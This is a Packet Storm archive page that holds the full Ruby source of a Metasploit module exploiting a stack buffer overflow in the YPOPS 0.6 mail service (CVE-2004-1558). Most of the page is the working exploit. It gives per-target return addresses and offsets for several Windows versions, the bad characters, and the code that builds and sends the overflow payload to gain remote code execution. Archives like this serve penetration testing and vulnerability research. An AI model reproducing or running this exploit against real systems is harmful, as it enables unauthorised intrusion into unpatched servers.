exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

YPOPS 0.6 Buffer Overflow

YPOPS 0.6 Buffer Overflow
Posted Nov 26, 2009
Authored by acaro | Site metasploit.com

This Metasploit module exploits a stack overflow in the YPOPS POP3 service. This is a classic stack overflow for YPOPS version 0.6. Possibly Affected version 0.5, 0.4.5.1, 0.4.5. Eip point to jmp ebx opcode in ws_32.dll

tags | exploit, overflow
advisories | CVE-2004-1558
SHA-256 | 8086b7ecc822149497a88947dda81327a12cdd2fb97bfbd37aca433d365d2157

YPOPS 0.6 Buffer Overflow

Change Mirror Download
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::Smtp

def initialize(info = {})
super(update_info(info,
'Name' => 'YPOPS 0.6 Buffer Overflow',
'Description' => %q{
This module exploits a stack overflow in the YPOPS POP3
service.

This is a classic stack overflow for YPOPS version 0.6.
Possibly Affected version 0.5, 0.4.5.1, 0.4.5. Eip point to
jmp ebx opcode in ws_32.dll

},
'Author' => [ 'acaro <acaro@jervus.it>' ],
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2004-1558'],
[ 'OSVDB', '10367'],
[ 'BID', '11256'],
[ 'URL', 'http://www.securiteam.com/windowsntfocus/5GP0M2KE0S.html'],

],
'Platform' => 'win',
'Privileged' => false,
'Payload' =>
{
'Space' => 1200,
'BadChars' => "\x00\x25",
'MinNops' => 106,

},
'Targets' =>
[
[ 'Windows 2000 SP0 Italian', { 'Ret' => 0x74fe6113, 'Offset' => 503 }, ],
[ 'Windows 2000 Advanced Server Italian SP4', { 'Ret' => 0x74fe16e2, 'Offset' => 503 }, ],
[ 'Windows 2000 Advanced Server SP3 English', { 'Ret' => 0x74fe22f3, 'Offset' => 503 }, ],
[ 'Windows 2000 SP0 English', { 'Ret' => 0x75036113, 'Offset' => 503 }, ],
[ 'Windows 2000 SP1 English', { 'Ret' => 0x750317b2, 'Offset' => 503 }, ],
[ 'Windows 2000 SP2 English', { 'Ret' => 0x7503435b, 'Offset' => 503 }, ],
[ 'Windows 2000 SP3 English', { 'Ret' => 0x750322f3, 'Offset' => 503 }, ],
[ 'Windows 2000 SP4 English', { 'Ret' => 0x750316e2, 'Offset' => 503 }, ],
[ 'Windows XP SP0-SP1 English', { 'Ret' => 0x71ab1636, 'Offset' => 503 }, ],
[ 'Windows XP SP2 English', { 'Ret' => 0x71ab773b, 'Offset' => 503 }, ],
[ 'Windows 2003 SP0 English', { 'Ret' => 0x71c04202, 'Offset' => 503 }, ],
[ 'Windows 2003 SP1 English', { 'Ret' => 0x71c05fb0, 'Offset' => 503 }, ],
],
'DisclosureDate' => 'Sep 27 2004'))
end

def check
connect
disconnect

banner.gsub!(/\n/, '')

if banner =~ /YahooPOPs! Simple Mail Transfer Service Ready/
print_status("Vulnerable SMTP server: #{banner}")
return Exploit::CheckCode::Detected
end

print_status("Unknown SMTP server: #{banner}")
return Exploit::CheckCode::Safe
end

def exploit
connect

pattern =
rand_text_alpha(target['Offset'] - payload.encoded.length) +
payload.encoded +
[target.ret].pack('V') +
"\n"

print_status("Trying #{target.name} using jmp ebx at #{"0x%.8x" % target.ret}")

sock.put(pattern)

handler
disconnect
end

end
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    0 Files
  • 7
    Nov 7th
    0 Files
  • 8
    Nov 8th
    0 Files
  • 9
    Nov 9th
    0 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    0 Files
  • 12
    Nov 12th
    0 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close